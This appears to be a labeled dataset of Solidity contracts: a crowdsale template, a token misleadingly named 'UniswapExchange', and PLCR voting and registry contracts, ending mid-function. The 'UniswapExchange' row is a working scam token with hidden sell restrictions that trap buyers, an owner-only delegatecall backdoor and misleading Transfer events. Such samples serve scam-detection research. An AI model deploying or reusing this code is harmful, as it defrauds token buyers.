emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "PowerChain";
string public constant TOKEN_SYMBOL = "PCX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x66a6983703928bA3523E9F3850750B847ffbFA03;
uint public constant START_TIME = 1537563660;
bool public constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(60000 * TOKEN_DECIMAL_MULTIPLIER, 0x9f44D28a38172FF9857705f61AFf67b62366042c, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1542831000)
CappedCrowdsale(66666666666666666666667)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x66a6983703928ba3523e9f3850750b847ffbfa03)];
uint[1] memory amounts = [uint(6000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 200000000000000000;
return super.hasClosed() || remainValue;
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 200000000000000000);
require(msg.value <= 10000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 613 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,046 |
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant MAX_UINT256 = 2**256 - 1;
string public name;
uint8 public decimals;
string public symbol;
function EIP20(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
require(_prev == NULL_NODE_ID || contains(self, _prev));
remove(self, _curr);
require(getNext(self, _prev) == _next);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
contract PLCRVoting {
event VoteCommitted(address voter, uint pollID, uint numTokens);
event VoteRevealed(address voter, uint pollID, uint numTokens, uint choice);
event PollCreated(uint voteQuorum, uint commitDuration, uint revealDuration, uint pollID);
event VotingRightsGranted(address voter, uint numTokens);
event VotingRightsWithdrawn(address voter, uint numTokens);
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
struct Poll {
uint commitEndDate;
uint revealEndDate;
uint voteQuorum;
uint votesFor;
uint votesAgainst;
}
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap;
mapping(address => uint) public voteTokenBalance;
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20 public token;
function PLCRVoting(address _tokenAddr) public {
token = EIP20(_tokenAddr);
pollNonce = INITIAL_POLL_NONCE;
}
function requestVotingRights(uint _numTokens) external {
require(token.balanceOf(msg.sender) >= _numTokens);
require(token.transferFrom(msg.sender, this, _numTokens));
voteTokenBalance[msg.sender] += _numTokens;
VotingRightsGranted(msg.sender, _numTokens);
}
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender] - getLockedTokens(msg.sender);
require(availableTokens >= _numTokens);
require(token.transfer(msg.sender, _numTokens));
voteTokenBalance[msg.sender] -= _numTokens;
VotingRightsWithdrawn(msg.sender, _numTokens);
}
function rescueTokens(uint _pollID) external {
require(pollEnded(_pollID));
require(!hasBeenRevealed(msg.sender, _pollID));
dllMap[msg.sender].remove(_pollID);
}
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) external {
require(commitPeriodActive(_pollID));
require(voteTokenBalance[msg.sender] >= _numTokens);
require(_pollID != 0);
require(_prevPollID == 0 || getCommitHash(msg.sender, _prevPollID) != 0);
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
nextPollID = (nextPollID == _pollID) ? dllMap[msg.sender].getNext(_pollID) : nextPollID;
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
VoteCommitted(msg.sender, _pollID, _numTokens);
}
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
function revealVote(uint _pollID, uint _voteOption, uint _salt) external {
require(revealPeriodActive(_pollID));
require(!hasBeenRevealed(msg.sender, _pollID));
require(keccak256(_voteOption, _salt) == getCommitHash(msg.sender, _pollID));
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1)
pollMap[_pollID].votesFor += numTokens;
else
pollMap[_pollID].votesAgainst += numTokens;
dllMap[msg.sender].remove(_pollID);
VoteRevealed(msg.sender, _pollID, numTokens, _voteOption);
}
function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(hasBeenRevealed(_voter, _pollID));
uint winningChoice = isPassed(_pollID) ? 1 : 0;
bytes32 winnerHash = keccak256(winningChoice, _salt);
bytes32 commitHash = getCommitHash(_voter, _pollID);
require(winnerHash == commitHash);
return getNumTokens(_voter, _pollID);
}
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: block.timestamp + _commitDuration,
revealEndDate: block.timestamp + _commitDuration + _revealDuration,
votesFor: 0,
votesAgainst: 0
});
PollCreated(_voteQuorum, _commitDuration, _revealDuration, pollNonce);
return pollNonce;
}
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
function hasBeenRevealed(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return !dllMap[_voter].contains(_pollID);
}
function pollExists(uint _pollID) constant public returns (bool exists) {
uint commitEndDate = pollMap[_pollID].commitEndDate;
uint revealEndDate = pollMap[_pollID].revealEndDate;
assert(!(commitEndDate == 0 && revealEndDate != 0));
assert(!(commitEndDate != 0 && revealEndDate == 0));
if(commitEndDate == 0 || revealEndDate == 0) { return false; }
return true;
}
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
function getInsertPointForNumTokens(address _voter, uint _numTokens)
constant public returns (uint prevNode) {
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
while(tokensInNode != 0) {
tokensInNode = getNumTokens(_voter, nodeID);
if(tokensInNode < _numTokens) {
return nodeID;
}
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(_user, _pollID);
}
}
contract Parameterizer {
event _ReparameterizationProposal(address proposer, string name, uint value, bytes32 propID);
event _NewChallenge(address challenger, bytes32 propID, uint pollID);
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint winningTokens;
mapping(address => bool) tokenClaims;
}
mapping(bytes32 => uint) public params;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => ParamProposal) public proposals;
EIP20 public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800;
function Parameterizer(
address _tokenAddr,
address _plcrAddr,
uint _minDeposit,
uint _pMinDeposit,
uint _applyStageLen,
uint _pApplyStageLen,
uint _commitStageLen,
uint _pCommitStageLen,
uint _revealStageLen,
uint _pRevealStageLen,
uint _dispensationPct,
uint _pDispensationPct,
uint _voteQuorum,
uint _pVoteQuorum
) public {
token = EIP20(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
set("minDeposit", _minDeposit);
set("pMinDeposit", _pMinDeposit);
set("applyStageLen", _applyStageLen);
set("pApplyStageLen", _pApplyStageLen);
set("commitStageLen", _commitStageLen);
set("pCommitStageLen", _pCommitStageLen);
set("revealStageLen", _revealStageLen);
set("pRevealStageLen", _pRevealStageLen);
set("dispensationPct", _dispensationPct);
set("pDispensationPct", _pDispensationPct);
set("voteQuorum", _voteQuorum);
set("pVoteQuorum", _pVoteQuorum);
}
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(_name, _value);
require(!propExists(propID));
require(get(_name) != _value);
require(token.transferFrom(msg.sender, this, deposit));
proposals[propID] = ParamProposal({
appExpiry: now + get("pApplyStageLen"),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now + get("pApplyStageLen") + get("pCommitStageLen") +
get("pRevealStageLen") + PROCESSBY,
value: _value
});
_ReparameterizationProposal(msg.sender, _name, _value, propID);
return propID;
}
function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) {
ParamProposal memory prop = proposals[_propID];
uint deposit = get("pMinDeposit");
require(propExists(_propID) && prop.challengeID == 0);
require(token.transferFrom(msg.sender, this, deposit));
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((100 - get("pDispensationPct")) * deposit) / 100,
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID;
_NewChallenge(msg.sender, _propID, pollID);
return pollID;
}
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
if (canBeSet(_propID)) {
set(prop.name, prop.value);
} else if (challengeCanBeResolved(_propID)) {
resolveChallenge(_propID);
} else if (now > prop.processBy) {
require(token.transfer(prop.owner, prop.deposit));
} else {
revert();
}
delete proposals[_propID];
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].winningTokens -= voterTokens;
challenges[_challengeID].rewardPool -= reward;
require(token.transfer(msg.sender, reward));
challenges[_challengeID].tokenClaims[msg.sender] = true;
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return (voterTokens * rewardPool) / winningTokens;
}
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false &&
voting.pollEnded(prop.challengeID));
}
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function get(string _name) public view returns (uint value) {
return params[keccak256(_name)];
}
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
uint reward = challengeWinnerReward(prop.challengeID);
if (voting.isPassed(prop.challengeID)) {
if(prop.processBy > now) {
set(prop.name, prop.value);
}
require(token.transfer(prop.owner, reward));
}
else {
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
challenge.winningTokens =
voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
}
function set(string _name, uint _value) private {
params[keccak256(_name)] = _value;
}
}
contract Registry {
event _Application(bytes32 listingHash, uint deposit, string data);
event _Challenge(bytes32 listingHash, uint deposit, uint pollID, string data);
event _Deposit(bytes32 listingHash, uint added, uint newTotal);
event _Withdrawal(bytes32 listingHash, uint withdrew, uint newTotal);
event _NewListingWhitelisted(bytes32 listingHash);
event _ApplicationRemoved(bytes32 listingHash);
event _ListingRemoved(bytes32 listingHash);
event _ChallengeFailed(uint challengeID);
event _ChallengeSucceeded(uint challengeID);
event _RewardClaimed(address voter, uint challengeID, uint reward);
struct Listing {
uint applicationExpiry;
bool whitelisted;
address owner;
uint unstakedDeposit;
uint challengeID;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint totalTokens;
mapping(address => bool) tokenClaims;
}
mapping(uint => Challenge) public challenges;
mapping(bytes32 => Listing) public listings;
EIP20 public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public version = '1';
function Registry(
address _tokenAddr,
address _plcrAddr,
address _paramsAddr
) public {
token = EIP20(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
parameterizer = Parameterizer(_paramsAddr);
}
function apply(bytes32 _listingHash, uint _amount, string _data) external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
